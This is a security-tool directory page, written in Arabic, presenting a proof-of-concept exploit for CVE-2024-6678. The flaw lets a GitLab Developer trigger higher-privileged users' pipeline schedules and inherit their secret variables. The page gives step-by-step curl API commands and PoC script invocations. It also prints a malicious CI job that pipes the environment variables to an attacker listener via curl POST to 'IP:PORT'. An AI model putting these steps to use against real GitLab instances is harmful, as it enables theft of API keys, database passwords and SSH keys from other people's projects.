Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-6678 — PoC لـ CVE-2024-6678 | Kitploit
أدوات/GitHubGitHub/fallenskill1/cve-2024-6678
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأمن السحابةDevSecOps
GitHubfallenskill1/cve-2024-6678

CVE-2024-6678

PoC لـ CVE-2024-6678

عرض المستودع
41منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-6678 - GitLab: Pipeline Schedule Arbitrary User Trigger

PoC لـ CVE-2024-6678

وصف الثغرة

يتيح GitLab للمستخدمين تشغيل جداول خطوط CI/CD (Pipeline Schedules) يدويًا عبر زر "Play". تكمن الثغرة في أن وظيفة "play" تسمح لأي مستخدم لديه صلاحيات Developer (وليس فقط مالك الجدول) بتشغيل الجدول. وينتج عن ذلك نتيجتان:

  1. يقوم المطور بتشغيل جدول تم إنشاؤه وتكوينه بواسطة مستخدم ذي صلاحيات أعلى (Maintainer / Owner).
  2. يرث خط الأنابيب المشغّل متغيرات البيئة من الجدول (بما في ذلك الحساسة)، على الرغم من أن المطور ليس لديه صلاحية لعرضها عبر API.

مع ذلك، يعتمد التأثير النهائي على ما هو مخزّن في متغيرات الجدول. على سبيل المثال، المتغير DB_PASSWORD يتيح إمكانية تفريغ قاعدة البيانات بالكامل، بينما SSH_PRIVATE_KEY يتيح الحصول على RCE.

خطوات إعادة الإنتاج

المتطلبات الأساسية

  • GitLab CE/EE، الإصدارات من 8.14 إلى 17.1.6 / 17.2.4 / 17.3.1
  • حساب المهاجم بصلاحيات Developer في المشروع المستهدف
  • وجود جدول خط أنابيب نشط واحد على الأقل في المشروع
  • الجدول موجّه إلى فرع غير محمي (مثل develop، staging) — أو وجود جداول في المشروع بصيغة ref قصيرة (bypass)

هام: الجداول على الفروع المحمية (مثل refs/heads/main مع تفعيل الحماية) يتم حظرها بواسطة سياسة PipelineSchedulePolicy#protected_ref وتعيد HTTP 403. يعمل الهجوم على الفروع غير المحمية — حيث غالبًا ما تُنشأ جداول التكامل ومرحلة الاختبار مع بيانات اعتماد حقيقية.

الخطوة 1. الحصول على قائمة الجداول

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
  | python3 -m json.tool

ابحث عن جدول يخص مستخدمًا ذا صلاحيات أعلى (Maintainer/Owner).

الخطوة 2. تشغيل الجدول

root@kitploit:~
curl -s -X POST \
  -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"

الاستجابة المتوقعة: HTTP 201 — تمت إضافة خط الأنابيب إلى قائمة الانتظار.

يتم إنشاء خط الأنابيب باسم المهاجم (current_user)، ولكن مع جميع متغيرات الجدول (التي قد تشمل مفاتيح API، رموزًا، بيانات اعتماد تم تكوينها بواسطة المالك).

HTTP 500 "Unable to schedule pipeline run immediately" — سلوك متوقع. هذا هو إلغاء التكرار في Sidekiq (deduplicate :until_executed): مهمة هذا الجدول موجودة بالفعل في قائمة الانتظار من عملية تشغيل سابقة ناجحة. وهذا يعني أن الهجوم قد تم بالفعل والمهمة تنتظر التنفيذ.

الخطوة 3. تأكيد إنشاء خط الأنابيب باسم المهاجم

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
  | python3 -m json.tool | grep -E '"id"|"status"|"username"'

استخدام PoC

root@kitploit:~
# تشغيل أساسي: اختيار تلقائي للجدول
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42

# تحديد جدول معين
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --schedule-id 7

# عبر GraphQL (يتطلب --project-path)
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --graphql \
    --project-path "mygroup/myrepo"

# التحقق من تجاوز legacy-ref
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --exploit-mode
image_2026-05-21_11-43-42 image

قبل trigger، يقوم PoC باستبدال .gitlab-ci.yml في develop بـ: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-

كل هذا يصل إلى المستمع الخاص بك

image_2026-05-21_19-05-58

روابط

  • GitLab Security Advisory
  • NVD: CVE-2024-6678
تنزيل الأداة